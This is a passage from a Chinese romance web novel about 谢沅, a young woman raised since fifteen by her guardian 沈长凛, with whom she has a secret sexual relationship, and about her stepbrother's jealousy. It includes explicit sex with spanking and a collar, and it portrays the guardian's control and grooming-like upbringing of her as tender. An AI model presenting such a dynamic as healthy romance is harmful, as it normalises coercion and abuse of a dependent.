他的声音很轻,柔得像风一样。
沈长凛的气质矜贵,涵养极好,寻常时候不会动怒,尤其是在亲近的人跟前。
但现在他的眼底都是冰冷的。
“如果不喜欢她,可以告诉我,”沈长凛抬起眼帘,“之前你和温思瑜的事爆出来后,我是不是就说过,联姻可以作废了?”
他的言辞并不重,却令人打心底感到紧张惧怕。
秦承月在外向来是高高在上的世家公子模样,他是青年才俊,身份又尊崇,性格中带着骄矜。
但在沈长凛的面前,他像个受训的晚辈。
英俊的脸庞苍白,额前也覆着薄汗。
“你求到沅沅跟前,沅沅求到我跟前,”沈长凛漫不经心地说道,“她给你说了很多好话,才为你求来这第二次的机会。”
话是说给秦承月听的,也是说给沈宴白听的。
沈长凛的决策,哪里是他一句话能强行改变?
沈宴白没有想到,在沈长凛这里谢沅话语的份量那么重。
他更没有想到,谢沅那么柔弱的性子,竟然敢为了他去忤逆沈长凛。
沈宴白敢跟沈长凛吵架,但是沈长凛明确定下来的事,就是他也不敢直接违逆。
电光石火间,他的脑中闪过一个奇异的念头。
但那个念头闪过得太快,沈宴白还没抓住,就已经急逝而过。
“沅沅跟寻常孩子不一样,她身边不能离人,”沈长凛看向秦承月,“这个事情我很早之前就告诉过你。”
他神情淡漠,容色微冷。
“你如果厌倦了照看她,完全可以跟我直说,”沈长凛轻声说道,“这影响不到你在秦家的地位,更影响不到你副总经理的职位。”
如果说,前面的话语还只是训责晚辈。
这句话就已经是重到不能再重了。
沈宴白的后背都沁出冷汗,他看向沈长凛,低声唤道:“叔叔……”
沈长凛却没再跟他们多言语,他转身离开,越过封锁线,淡漠地向着方至的警察们走去。
沈宴白收回手,手臂垂落下来。
秦承月低着眼帘,脸色苍白难看得不可思议-
谢沅精力不足,哭久了很容易累,累得过了哪怕在外面也能睡过去。
她昏昏沉沉地在休息室睡着,程特助怕她被魇住,一直陪在她的身边。
谢沅的体态纤瘦,后背单薄,她裹着毯子躺在沙发上,身躯微微蜷缩,手指也无意识地屈着。
即便沈长凛的暗怒已经消退许多。
见到谢沅这幅姿态时,情绪还是倏然又起来了。
那么宽容大度让她出来干什么呢?如果一直待在家里,一点事都不会有。
哪怕是再令一个人跟着也好,在秦沈两家,有几个人会不知道不能让谢沅单独待着呢?
秦承月不知道。
越想到他,沈长凛的容色就越冷,他的手穿过谢沅的腿弯,将她从沙发上抱起。
她颤抖了一下,湿润的长睫也抬了起来。
谢沅的眸里含着惧怕,但在看清抱起她的人是他后,她紧绷的身躯忽然就放松了下来,纤细的指节抬起,攀上他的脖颈。
像是柔弱的菟丝花。
她只是做了个很简单的举动,连句话语都没有多说,就阖上了眼眸。
但沈长凛的心境却倏然平静了许多。
不幸中的万幸,谢沅只是受了惊,他不太能想得到,如果她受了实质性的伤害,他会做出什么。
沈长凛抚了抚她的长发,动作轻柔地抱她出去。
眼不见心为静。
他早先就让秦承月滚了,但走出门见到沈宴白时,沈长凛还是有一瞬间的迁怒。
非要来接谢沅干什么呢?
如果不是沈宴白横插一脚,她是不会落单的。
沈宴白满脸急色,压低声问道:“叔叔,沅沅……还好吧?”
叫什么“沅沅”呢?这是他应该唤的称呼吗?
沈长凛声音很轻,冷淡地说道:“你妹妹睡着了。”
沈宴白听出他语气里的情绪,神情微怔,他放轻声说道:“叔叔,您休息一下,我抱她过去吧。”
谢沅的事沈长凛从不假手于人,向来都是亲自处理。
这一晚上他都没有停下来,刚刚又是一路将谢沅给抱下来的。
沈宴白有意尽孝心,沈长凛却只是轻声说道:“不用,今晚的事麻烦你了,回去后好好休息一下吧。”
说完,沈长凛就直接将谢沅抱上了车。
进入封闭的空间后,她将他攥得更紧了,手臂紧紧地攀上他的脖颈,腿也要环住他的腰身。
沈长凛搂住谢沅的腰身,抬起她的下颌,轻轻用湿巾擦净她的脸庞。
她的思绪乱着,眼眸湿湿的,总想要来吻他。
谢沅现在的状态很差,哪怕她主动来闹他,沈长凛也没有心思动她。
他轻打了一下她绵软的肉臀,低声说道:“别闹,沅沅。”
谢沅身形瘦弱,唯有臀尖多些肉,被男人的大掌扇动时,会轻轻地颤,漾出柔软的波。
她“唔”了一声,腿却将沈长凛的腰身扣得更紧。
谢沅当真没再乱动,她将脸庞埋在他的肩头,垂着头安静了许久,沈长凛眉眼轻动,低声唤她:“沅沅。”
她还是没动。
沈长凛眉心微蹙,他掐住谢沅的下颌,迫使她抬起头:“不舒服吗,沅沅?”
她的眸光摇晃,里面全都是水。
“不舒服。”谢沅声音细弱,“你打疼我了,能不能帮我揉揉?”
她一边说着,一边将小手覆上沈长凛的大掌,朝着那翘起的柔软按去。
“而且我还……我还——了。”谢沅的脸庞泛着潮红,眼尾也湿着,她抬眸看向沈长凛,声音带着哭腔,尽是委屈。
既无辜天真,又媚意横生。
轿车在夜间行驶得很快,再有几分钟就要到沈家。
沈长凛眸色晦暗,看向谢沅的眼眸,声音微哑:“下车再闹我,沅沅。”
她不是任性的孩子,但是她已经忍了很久。
谢沅拉过沈长凛的衣袖,眼眸生春,她轻咬了下唇瓣,可怜地说道:“你不疼我了吗,叔叔?”-
沈宴白和沈长凛的车近乎是同时到的。
他一下车,就看见沈长凛抱着谢沅下来,或许是受了冷,谢沅身上披着的是沈长凛的外衣。
沈长凛身形高挑,长风衣能将她遮得严严实实。
沈宴白走近时,谢沅的眼眸还是红的,透着懵懂,失神地望向他,她的脸庞很红,唇瓣也微微肿着。
他急声问道:“叔叔,沅沅是不是有点发烧?”
沈长凛碰了碰谢沅的脸颊,声音微哑:“是有一点。”
“已经不早了,你回去休息。”他走上台阶,低声说道,“这里有我在呢。”
沈长凛言语直接,没再给沈宴白多看多问的机会。
在沈家最危急的时候,是沈长凛挽起这将倾的大厦,他是说一不二的人,虽然强势,但也会令人感到由衷的心安。
就好像是哪怕天塌下来,也还有他在。
沈宴白桀骜不驯,张扬随性,但在沈长凛开口时,也常常会习惯服从。
这么些年,只有一件事他是在坚持地抗拒——那就是接纳谢沅的存在。
沈长凛提醒过他,劝说过他,甚至还为了谢沅训斥过他,但沈宴白没有改变过对谢沅的偏见,没有停止过对谢沅的厌烦。
这一回,终于是沈长凛选择了退步。
他告诉沈宴白,可以不喜欢谢沅,只要别来扰她就行,她的事一件也不用他来管。
于是现在,沈宴白插手谢沅事情的权力真的被剥夺了。
明明他是她哥哥,与她年岁相当,本该是这个家里和她最亲近的存在。
沈宴白没有立刻上楼,他站在外面,凝视着不远处的喷泉,点了一支烟。
他并不知道,在门被掩上的刹那,谢沅身上披着的长风衣就落在了地上,她攀上沈长凛的脖颈,清醒又迷乱地吻上他冰凉的薄唇。
白皙的长腿屈起,紧扣住男人的腰身。
她身上什么也没穿,唯有脖颈间还带着一条颈链,像项圈般闪着光。
谢沅的足尖紧绷着,伶仃的踝骨凸起,像是精致的苍白玉石。
沈长凛托起她臀根的软肉,将她按在了厚重的大门上,他重重地打了下她的肉臀,压低声说道:“闹我的时候想过后果吗,嗯?”
谢沅雪肤娇嫩,他又没有收着气力,她当即就疼得红了眼眶。
她怕羞又怕疼,哪怕情绪迷乱着,还是低低地哭了出来。
谢沅呜咽地说道:“你打我,你不疼我了。”
沈长凛的眸底是浓郁的黑暗,一门之隔,是随时有可能进来的沈宴白,他还真不知道她哪来的底气,敢跟他继续闹的。
“我不疼你?”他哑声说道,“那我就应该放任你疼着,难受着。”
沈长凛的声音微冷,眼眸也很利。
谢沅被他看得害怕,身躯颤抖:“那、那我不跟你一起了……”
都说酒后吐真言,放在谢沅这里也很合适,只不过她是在特殊的状态里会如此。
沈长凛快要被她气笑了。
跟别的男人出去了一整天,然后现在还敢跟他说这个。
“那你想跟谁在一起,沅沅?”沈长凛掐住她的下颌,狠撞,“秦承月?沈宴白?还是霍家那个小子?”
第26章
雪白的柔腻从指缝间溢出,轻轻地晃动。
谢沅攀紧了沈长凛的脖颈,纤细的长腿颤抖,她终于知道害怕了,含着泪讨饶:“不……不跟别人在一起,只跟叔叔在一起。”
她转口的速度快得惊人。
谢沅的蝴蝶骨很漂亮,抵在厚重的门上,像是振翅欲飞的金丝雀。
沈长凛眸底晦暗,他揉了揉她的唇瓣,轻声说道:“乖孩子。”
他的声音轻柔,但攥住她腰身的手却是那么狠。
谢沅本能地想要挣脱,理智短暂地清醒了一瞬间,她的眸光晃动,带着哭腔说道:“哥哥还在外面,叔叔。”
难为她这时候终于想起沈宴白。
沈长凛屈起指骨,探入谢沅的唇齿间,声音微哑:“所以沅沅要哭得小声一点。”
她满心惊惧,总感觉沈宴白下一瞬就会推门进来,鼻间更是仿佛能闻到烟草的气息。
谢沅的眼眸已经哭红了。
但是男人的指节插入口腔后,她连破碎的求饶话语也说不出来。
嫩红的小舌舔过沈长凛修长的指骨,淌出涎液,无力地抵抗着。
柔弱无助,楚楚可怜。
家里多了一个人的确是麻烦。
沈长凛凝视着谢沅的水眸,到底是没再折腾人,将落在地上的风衣执起,然后把她抱回楼上的卧室。
他低声说道:“没有下一次。”
被抱回到卧室后,谢沅紧绷的身躯放松下来。
她的眼泪也终于止住,被沈长凛托举住腰身强迫坐起时,也是乖乖的。
谢沅甚至讨好地倾身,主动地搂住他的脖颈,生涩地吻他。
她是很乖的乖孩子,十五岁时就被养在沈家,对那些混乱的东西接触得很少。
谢沅所有的一切都是沈长凛一手教出来的,她的认知,她的喜好,她的底线,他全都了如指掌。
但当那生涩的吻落下时,依然是有冲击的。
她接吻一直学得不是很好,笨拙的吻浅浅地落在唇间,柔软的香气也一起漾开。
沈长凛扣住谢沅的腰身,陪着她一点点将这个吻加深。
如果她是清醒地做这件事,他或许会忍不住弄坏她。
好在眼下谢沅是迷乱的-
沈宴白在外面抽了许久的烟,他肺不好,以前燕城霾重,他都是在滨城待的。
后来空气好些了,每年冬天他还是更喜欢待在那边。
滨城的夏天比蒸笼更加湿热,出去一趟,衬衣都能湿透,闷得喘都喘不过气,尤其是下过雨后。
但滨城的冬天还是要好很多的。
空气很干净,气候也很适宜,飞机一落地,就会令人浑身舒畅。
不过这些年沈宴白去滨城,只是不想在家里待着,他跟谢沅相处不愉快,虽然她从来也没在何处惹到过他。
她性子缄默,寡言少语。
很多时候,谢沅只是安静地待在卧室,偶尔会在岛台边看书。
她是学哲学的,常抱着大部头的原典慢慢地翻页,她的指节纤细,白裙之下露出来的小腿也纤细。
谢沅喜欢坐在露台边的那个秋千吊椅上,晃着小腿,慢慢地摇。
那个时候,她白皙的小腿也因为摇动泛起莹润的微光。
沈宴白交过许多任女友,但还没见过谁比谢沅还白,她们很多人的白皙是医美出来的,或者一年四季强不漏肤硬熬出来的。
只有谢沅,是真的很白很白。
十五岁时就是那样。
平心而论,谢沅长得也很好,不是那种浓丽绮媚的好,她的柔美不带一点攻击性,就跟她的性格一样。
所以许多人都还挺喜欢她的。
声声“小谢妹妹”地唤着,久而久之,真将她当妹妹疼了。
就连霍阳那么恣睢的主儿,每回见到谢沅,也会拖着腔调,笑唤一声“小谢妹妹,晚上好。”
但五年下来,沈宴白就是对她喜欢不起来。
娇弱得像菟丝花一样,只有依附男人才能活着,没有自己的性子,甚至没有任何坚持。
旁人说什么,那就是什么。
沈宴白向来看不上眼这种女孩,他倒宁愿谢沅是个靠手段心计,不择手段进入沈家的人。
那样他就可以名正言顺地将她赶出去了。
沈家是从来不缺房产的,哪怕谢沅要住单套上亿的别墅,也完全没问题。
就是别在他的眼前晃悠。
但谢沅偏偏不是,她那么小心,那么乖顺,一双眼眸倒是生得漂亮,却也是常常含泪的。
一句话说得重了,她就能红了眼,然后声音细弱地道歉:“对不起,哥哥。”
叫人更加心烦意乱。
沈宴白抽了许久的烟,才推门进去,不知道是不是之前累着的后遗症,他蓦地觉得空气中残存着少许甘甜。
柔柔的,细腻的,像是粘稠的汁水。
顺着腿根往下滑落,滴在地板上。
但沈宴白掩上房门后,那缕甘甜的香气就飘散了,他揉着额侧的穴位,摇了摇头。
回国之后他忙了很长一段,身边的耗子都是公的。
或许是太久没接触过女人了,才会生出这么怪诞的错觉-
谢沅翌日睡醒时,天色已经大亮,她做了个奇怪的梦,奇怪到在梦里都在想,逻辑好像不太对。
但醒过来后,却什么都不记得了。
谢沅昨夜受了惊,难得又进入到应激的状态里。
大量的破碎记忆像潮水般灌入,她扶着额头坐起身,许久才将思绪给厘清。
但理清过后,谢沅薄薄的脸皮瞬时就红了个通透。
她昨天晚上都在做什么?那些话,居然是她能说出来的……
谢沅羞得欲死,好在今天沈长凛行程繁忙,早就已经离开,他只留了张便签在她的床头,旁边是一只白色的药膏。
【难受的话,记得上药。】
沈长凛并不是在国内长大的,但他的字很漂亮,神韵超逸,遒劲有力。
很简单的几个字,谢沅却羞得更厉害了。
她坐在床边,将那纸便签叠起,一时之间是扔掉也不是,继续拿着也不是。
就在谢沅纠结万分的时候,有人轻轻敲响了她的门,唤道:“起床了吗,沅沅?”
是沈宴白。
她被吓了一跳,像惊弓之鸟般站起身,小步快走到门前,将门给打开。
“我起床了,哥哥。”谢沅细声说道,“您有什么事吗?还是不舒服?”
她穿着浅色的睡裙,乌发凌乱地披散着,露出瓷白的脖颈和精致的锁骨,肌肤白嫩,像是浸润在水中的羊脂玉。
谢沅似乎是刚刚才睡醒,脸庞还透着薄粉。
沈宴白侧过身,目光也落在了别处。
他淡声说道:“你昨晚没用晚餐,早上要是还不吃点,该胃疼了,下来用早餐。”
昨晚沈宴白满脸急色的关心是真的,现在他冷淡强势的要求也是真的。
可能是沈长凛跟他说了什么。
沈宴白从来不会多管谢沅,跟她接触,更是能少则少。
她的指节收紧,神情有些局促:“好,哥哥,我马上就下楼。”
沈宴白皱了皱眉,低声说道:“那你快点。”
他的耐心不太好,谢沅也想赶快下去,沈长凛昨夜就给她上了药,药膏浸润过里里外外,肿痛感已经消退很多,但小裤也被浸透了。
沈长凛在床笫之间向来强势,手段也狠。
可昨夜她自己也荡媚得厉害,想到当时说的那些话,谢沅的脸庞越来越热。
她好好地洗净脸庞,又取出冰袋,强将脸上的热意给降下去,然后方才下楼用早餐。
沈宴白坐在长沙发上,手里是一册外文书籍,他的指间夹着精美的叶子书签,长腿交叠,即便没有着正装,斐然的气度也是那样引人瞩目。
谢沅垂着眼眸,乖乖地坐在了高脚椅上。
早餐很丰盛,都是她喜欢吃的。
昨天弄得太过,谢沅都忘记她没吃晚餐了,之前沈长凛将她喂得太饱了,最后更是累得直接昏睡过去。
喝下小半杯果汁后,饥饿感便开始复苏。
谢沅执起餐叉,刚想吃一点水果,沈宴白就拉开高脚椅,很自然地坐在了她的对面。
她这才注意到桌案上还有另一幅餐具。
哥哥是在等她吗?
谢沅脑中没敢生出分毫旖旎的幻想,只控制不住地紧张,沈宴白不会想现在审问她吧?
岛台的外面是之前换的新花。
在风中摇曳,日光正好,花香透过窗棂,无声息地飘散进来。
沈宴白用着早餐,一句话都没多说,但谢沅的心情却越来越紧张,连外面正好的美景都没有心思赏看。
她很清楚知道,昨天的事跟秦承月一点关系都没有。
可沈长凛的话,肯定是要将过错算到他身上的。
叔叔会不会觉得秦承月疏忽,不能照顾好她,又不想让他们联姻了?
谢沅坐立难安,胃口也要没了,她胡思乱想着,沈宴白轻声问道:“今天的早餐,不喜欢吗?”
她紧忙应道:“没有,哥哥。”
“那为什么用个早餐,还能走神?”沈宴白眉心微拧,“在想什么呢?”
听到他的话语,谢沅的腰身都直了起来。
哥哥自从上班以后,气质沉稳了好多,连说话的口吻也越来越像叔叔了。
谢沅跟他坐在一起用餐,感觉压力好大。
沈长凛在礼仪上很惯着她的,甚至常将她抱在腿上喂饭,谢沅从小就挑食,如果是不太喜欢的水果蔬菜,他还会哄着她吃。
连她妈妈以前,都没有这么纵着她过。
谢沅执着餐叉,细声说道:“我不走神了,哥哥。”
两个人一起用餐,像跟礼仪老师一起上课似的,她本来用餐就慢,被沈宴白盯着,用得更慢了。
用完早餐后,谢沅暗里舒了一口气,心想午间无论如何都不要跟他一起用餐了。
但她没能高兴太久,她刚刚准备上楼,沈宴白又叫住了她。
“这两天好好休息。”他低声说道,“如果哪里不舒服的话,给我打电话。”
某一个瞬间,谢沅还以为沈宴白窥透了她的秘密。
她的呼吸屏住,后背也沁出了冷汗。
谢沅低着头,声音细弱地说道:“我没事,哥哥,我很好的。”
她竭力想让沈宴白放心,一心急就有些语无伦次。
须臾谢沅仰起脸庞,看向了沈宴白,主动地说道:“我昨天就是吓着了,哥哥,一点事都没有的。”
沈宴白有些愣怔。
她为什么要跟他解释这么多?他只是关心了她一句而已-
谢沅在家里待了两天,寸步都没有离开过。
可能是因为年纪渐渐大了,她这次恢复得很快,比之前差些被绑架还要更快,只在第二天的晚上发了低烧。
而且沈长凛自己也要负些责任。
谢沅迷迷糊糊,在半梦半醒间睁开眼。
她的脸上泛着不自然的潮红,眼眸也是迷离的,瞳孔聚焦不到一处,显得很大,像是只蓝膜未褪的奶猫。
沈长凛低声说道:“你发烧了,沅沅。”
他已经帮她测了体温,是低烧。
谢沅却很挣扎,她小声地说道:“我再睡一会儿就好了,叔叔。”
她不喜欢看病,不喜欢吃药,更不喜欢打针。
谢沅烧得并不高,但沈长凛还是让医生来了一回,什么事都能依她,身体的事除外。
家庭医生略带为难,向他低声说道:“先生,小姐如果想要尽快退烧,最好是还是打退烧针。”
谢沅睁开朦胧的水眸,并没有听清什么。
可看到家庭医生回避的姿态,便本能地觉察到危险。
她撑着手臂坐起身,拉住沈长凛的衣袖,带着哭腔说道:“我不打针,我不打针!我吃药就能好的……”
谢沅起身得太匆忙,今天穿得又刚好是半身式的睡衣。
短短的吊带之下,是柔白的雪肤。
沈长凛抬手将她抱到怀里,把那皱起的衣摆抚平,低声哄道:“别哭,沅沅,你昨晚睡前跟我说什么来着?说想看康德的书是吗?”
他趁她思绪紊乱,随意地将话题转移开来。
“不是,你记错了,叔叔。”谢沅不明所以,下意识地应道,“想看海德格尔的书。”
她的脑中混乱如麻,只有在这时候才能清晰一瞬。
但沈长凛已经顺利将谢沅抱在了腿上,他按住她的细腰,向医生示意了一下,然后将她睡衣的短裤褪到下来。
她终于意识到受骗,却已经没有了挣扎的余地。
臀尖泛起冰凉时,谢沅的眼泪瞬时就落了下来,沈长凛轻声哄她:“放轻松,沅沅,不痛的。”
怎么可能会不痛呢?针又不是落在他的身上?
执着针管的医生也说道:“别怕,小姐,很快的。”
谢沅趴在沈长凛的腿上,她很想要挣扎,但下一瞬针就刺破了皮肤。
她一动也不敢动,只有眼泪簌簌地往下掉着。
医生真的很快,打完针后沈长凛帮谢沅按住棉签,声音低柔地哄她:“别生气,沅沅,明天就能好起来了。”
她的脸上都是泪水,眼尾也哭红了。
被骗就算了,还生生挨了一针,谢沅不肯理沈长凛,他也没生气,片刻后将棉签扔掉,又把她抱回到床上。
她还恼着,上了床就背过身去。
沈长凛从后方轻抱住谢沅,手指抚上她的脸庞,在黑暗中为她擦净眼泪。
他的动作极是温柔,像是对待易碎的珍宝。
等到谢沅睡着以后,沈长凛方才将她又揽回来,他拢住她的小手,让她抚上他的心口。
“你说针没扎在我身上,我不知道痛。”他声音很轻,“我哪里不痛了,嗯?”-
低烧来得快,退得也快。
次日谢沅苏醒的时候,额前已经冰冰凉凉,一点热意都没有了。
她伸了个懒腰,抬眸看向外间的青绿,感觉整个人都好起来了,虽然打针很疼也很烦,但是见效真的很快。
可谢沅是绝对不会承认的,更不会让沈长凛知道。
不然他怕不是要每回都按着她打针。
谢沅好好地洗漱了一番,然后又换了新的衣裙才下楼。
昨天医生来的时候已经是深夜,沈宴白刚巧睡不着,一边跟人讲电话,一边站在露台抽烟。
他下意识地想掐灭烟跟过去,但医生却将他拦住了。
“您别担心,不是先生有事。”医生温声说道,“是小姐有点发烧。”
沈宴白对沈长凛很有孝心,连医生们都知道,他的手按在扶栏上,难得有些迟疑。
顿了片刻后,他轻声说道:“好。”
沈宴白掐灭了烟,也没心思再讲电话,他回到浴室后,洗了个冷水澡,又在床上躺了半宿才终于睡着。
清晨本想多睡会片刻,中途苏醒后却再难睡去。
沈宴白起身时状态不太好,反倒是昨夜生病的谢沅满身活力,像是复活了一样。
她坐在高脚椅上,柔声跟他问好:“早上好,哥哥。”
沈宴白点了点头,没多说什么。
用餐用到一半时,忽然有人送花进来,大捧大捧的玫瑰花,鲜红欲滴,遥遥地就能令人闻到那馥郁的芬芳。
花是直升机送来的,上面还带着露水,像是从海外空运来的,新鲜得跟初摘的一样。
是朱丽叶玫瑰。
这世上最昂贵、最美丽的玫瑰花。
谢沅或许不懂,但沈宴白一眼就认出来了。
他最近没有订花。
沈宴白有些困惑,刚想说些什么,就见送花的人看向谢沅,笑着说道:“小姐,这是您的花。”
谢沅站起身,眸中尽是无措,她的声音柔软又迟疑:“这是送给我吗?”
她轻掩着唇,水眸闪烁。
送花的人点头,扬唇说道:“当然,小姐。”
谢沅从来没有收到过这么多的花,她的心脏在怦怦地跳动着,胸腔里好像有很多情绪,又好像全都变成了空白。
沈宴白的容色却越来越冷。
哪里来的野男人,竟然敢这样追谢沅?花甚至都送到家里来了。
第27章
沈宴白的声音微沉,问道:“谁送来的?”
他低眼看向谢沅,目光带着些审视。
谢沅的心神微动,她仰起脸庞,轻声说道:“应该是叔叔订的,他之前有讲过想帮我庆祝比赛得冠军。”
其实那比赛已经结束很久。
谢沅隐约想得到,沈长凛应该是想为昨晚的事才送她花。
昨天她被哄骗着打了一针,又疼又羞,偷偷地哭了一会儿才睡着。
沈长凛有时很强势冷情,但有时也是真的很温柔细致。
谢沅高兴地将花收了下来,沈宴白看着她的笑靥,心神微微一动,他沉默片刻,低声说道:“好看。”
她内敛含蓄,话也不多,难得这样直白地表露开心。
“叔叔之前选定的那种花也特别好看,”谢沅抱着花,柔声说道,“就是岛台外面花坛里的那些,不过它们的花期不是很长,再过段时间就要败了。”
她温声细语,捧着玫瑰花走回到岛台边。
花实在是太多了,谢沅抱着的是最大一捧,余下的还要由专门的园艺师处理,然后再送到她的起居室里。
沈宴白顺着她的目光往外看去。
窗外的新花鲜丽,色泽浓艳,芬芳馥郁,并不是应季的花,应当是特意培育出来的品种。
仔细算来,或许比谢沅怀里的玫瑰还要更为昂贵。
叔叔养谢沅养得是真精致,除却衣食住行,连这种细节上的事也样样不落。
如果不是年岁对不上,沈宴白都要怀疑谢沅是不是他的私生女了。
这猜想就更荒诞了。
沈宴白揉了揉眉心,可能是之前神经绷得太紧了,他近来的思绪总是紊乱嘈杂,什么乱七八糟的念头都有。
“还喜欢什么品种的花?”他漫不经心地说道,“下回我也给你订,送到你们现场去。”
谢沅的眸光仍全落在怀里的花上。
她专心致志,连早餐都似是不想用了。
听到沈宴白问话,谢沅才回过神来,她神情微怔:“哥哥要送我花吗?”
她有些无措和茫然。
沈宴白凝眸看向谢沅,一句话突然地来到唇边:“除了叔叔,别人没有给你送过花吗?”
高中时她安静少言,默默无闻,家中也将她看得紧。
升了大学后,褪去校服,换上合衬身姿的短裙,就是明知她性子沉闷的人,偶然窥见那白皙的小腿时,心中应当也会生出旖旎。
谢沅摇了摇头,眼睫轻轻垂下:“没有,哥哥。”
她有些局促,有些无措。
沈宴白后知后觉地意识到,他不该问谢沅这个问题的,十几岁的时候,她就注定要做秦家的少夫人了。
就算是有人想送她花,她应当也不敢接。
这样问她,其实是很恶劣的。
但沈宴白也说不清楚,心底深处隐秘的愉悦是怎么回事。
他放低声,像个宽善的兄长般说道:“没事,往后哥哥送你。”-
谢沅一整天都花在照看玫瑰花上了,她跟在园艺师身边很久,记了很多重要的东西。
园艺师笑着说道:“小姐别担心,具体的事宜,我们来做就行。”
“没关系,”谢沅柔声说道,“我也想学一下。”
她认真地学了许久,还试着自己插了一瓶花,将许久没用过的摄像机也取了出来,仔细地拍了好多张照片,然后给沈长凛发过去。
他收到照片时,刚刚开完会。
【谢谢叔叔,花很好看。】
接着便是几张很认真拍摄的玫瑰花,秾稠昳丽,娇艳欲滴。
谢沅发完图就想要按灭屏幕,但下一秒沈长凛的电话就打过来了,她紧忙点了接听。
“看到你发的花了,”他轻声问道,“喜欢吗,沅沅?”
沈长凛的声音低柔,像风一样,隔着听筒,也好听得令人耳尖发烫。
“喜欢,叔叔。”谢沅细声说道,“谢谢您。”
她跟他讲电话时,比在他跟前讲话,总还要更紧张一些。
“身体好些了吗?”沈长凛又问道,“不发烧了吧?”
谢沅一点也不想再回忆起,昨夜被他按在腿上光着屁股打针的情形,但现在被沈长凛这样一问,她狼狈的哭喊声都又浮现在脑海里。
“早就好了,叔叔。”她含羞带怯,声音也细弱起来。
谢沅依旧是轻声细语地回应,但腔调里却多了分之前没有过的娇。
或许是越养越熟,她好像渐渐地没那么怕他了。
沈长凛的眉眼温和,他柔声说道:“好了就行,已经不早了,去用晚餐吧,晚上我要迟些回来。”
“好,我这就去,叔叔。”谢沅软声说道,“您也快用晚餐吧。”
他看了眼接下来的行程,含笑应道:“好。”
但挂断电话后,沈长凛就开了视频会议,跨国的会议是最麻烦的,时间总是迟,又很晚才能结束。
他执着汤匙,搅了搅杯中的红茶。
沈长凛到家的时候,已经接近十一点,上回弄得太狠,谢沅疼肿了两天方才好,昨夜又发了低热,他无心再去扰她。
但刚刚进门,就见到长沙发上靠坐着的女孩身影。
谢沅穿了宽松的睡袍,小腿屈起,捧着书册仍然在看。
她没有开大灯,只开了沙发旁的小灯,所有的光都聚到了她一人的身上,照得她像雪一样白。
沈宴白回来以后,谢沅很久都没有等过沈长凛。
他昨夜没有睡好,用完早餐就去睡,睡到下午五点才醒,然后就出去了,谢沅问沈宴白什么时候回来,他说今晚不回来,她才放心等在这里的。
沈家是有门禁的,但只针对她一人。
谢沅踩着的还是兔子拖鞋。
眼见沈长凛回来,她将海德格尔放在一边,想要起身去迎他。
但谢沅还没有走过去,沈长凛就将她给抱起来了,他声音很轻:“这么晚了,还不去睡吗?”
兔子拖鞋晃来晃去,耳朵也一直在动。
“花特别好看,叔叔,”谢沅的眼眸发亮,“我很喜欢,谢谢您。”
沈长凛看向她的眼睛,声音低柔:“所以一直等在这里,是想带我去看看吗?”
小孩子真的不一样了。
上回他把外面花坛的花全换了,每一株都是谢沅喜欢的,她也没敢直接来告诉他有多喜欢。
今天收到消息的时候,沈长凛就有些讶然,回到家里,听她声声讲来,更觉得心中柔软。
谢沅害羞地点了点头,不好意思地应道:“嗯。”
沈长凛揉了揉她的头发,轻声说道:“那就带我去看看吧。”
那日的事后,他说了重话,并让秦承月好好去想。
两天过去秦承月还没给他答复,但沈长凛忽然不那么想等他想清楚了,秦承月在感情上优柔寡断,犹豫得令他都心烦,不过幸好秦承月是个优柔寡断的人。
如果秦承月真那般决断,只怕半年前就要将谢沅给娶回家。
她本来就胆子小,内敛含蓄,很多话都不敢讲给他听,现在好不容易养得开朗一点,要是再让秦承月来搅,她只怕又要跟小乌龟似的退回去。
他们之间急不得,可如果少去秦承月这个阻碍,或许会更加顺遂也说不定-
沈宴白有段时间没来夜场。
乐声嘈杂,舞池里不时传来尖叫声,正值盛夏,无论男女衣着都很清凉。
他一路走来,看大腿都看得腻味。
霍阳倒是习以为常,随意地拨弄着银灰色的短发,手里转着车钥匙,将浪荡子的姿态发挥得淋漓尽致。
他偏头看向沈宴白,一边说着,一边开了瓶酒:“沈少心情不好呀?”
来夜场不喝酒,那就相当于去餐厅不吃饭。
但霍阳喜欢自己开车,滴酒不沾,也没人敢灌他酒,他最大的兴致就是端着一杯冰水,含笑看着众人醉得七倒八歪。
沈宴白喝酒也少,他父亲就是饮酒驾车,然后去世的。
上千万的跑车,燃了个干干净净,连尸骨都没能存住,在当年的权贵圈子里,也掀起了轩然大波。
沈宴白只有心情不好的时候,才饮酒饮得凶。
旁人饮酒消愁,他饮酒可是会犯胃病的,大半夜的要是胃出血,谁也担待不起。
是以霍阳也不敢给沈宴白开度数太高的酒,他甚至还想到,等沈宴白有醉意之后的时候,就给他全部换成白开水。
也算是养胃了。
沈宴白执着杯盏,摇着高脚杯里的酒,少见的不多话,淡淡地“嗯”了一声。
有什么事能让沈家大少爷心情不好?
霍阳挑眉看了沈宴白一眼,今次的人不是很多,都是相熟的朋友,这时候也不敢乱开玩笑。
沈宴白向后倚靠,眉眼间都带着桀骜,哪怕是神色不悦,也依旧英俊得令人心旌摇曳。
他们坐得隐蔽,没多时还是有女孩过来问联系方式。
像是附近大学城的,瞧着年龄不大,裙子也穿得比旁人要保守些,纯白色的,腰后还系着蝴蝶结。
女孩含羞带怯,低声问道:“哥哥,可以加个联系方式吗?”
霍阳掀起眼皮看了一眼,长得还可以,但实在算不上夺目,而且一股小家子气,加上问的不是他,他也没有多看。
这妹妹也是倒霉。
沈宴白本来就不喜欢这个类型的女孩,今天心情又不好,这不是往枪口上撞吗?
他对待女伴还算温柔,但对陌生人也是有些冷情的。
霍阳撑着下颌,准备给沈宴白再倒些酒,却不想他点开了屏幕,声音低沉:“你扫我,我扫你?”
女孩高兴地扬起唇角,笑着说道:“我扫哥哥吧。”
霍阳神色微变,但他很快就调整好,扬唇说道:“别急着走呀,妹妹,再聊一会儿呗。”
真是稀奇,沈少竟然改口了-
谢沅是接到霍阳电话时,才后知后觉意识到沈宴白走的时候,心情好像并不好。
他下楼的时候,已经快该用晚餐了。
谢沅刚刚跟沈长凛通完电话,她本来想吃的,滑动屏幕时看到照片的一朵花好像有点蔫,就起身要走。
沈宴白皱眉,问她:“你不用晚餐了吗?”
“我有点事,哥哥。”谢沅回眸说道,“你先吃吧,我待会儿再用。”
可能是时机太差了,让沈宴白误以为她不想跟他一起。
谢沅当然不想跟沈宴白一起,但她不是那么没礼貌的孩子,沈宴白的容色微冷:“没事,你用吧,我出去。”
他脾气来得突然,谢沅当时满心都是玫瑰花,没有留意到。
她软声问道:“好,哥哥,那你什么时候回来?”
谢沅没敢直接问沈宴白今晚是不是不回来,不过她是存了这个期许的,因为她想让沈长凛来看花,如果沈宴白也在家,就不太方便。
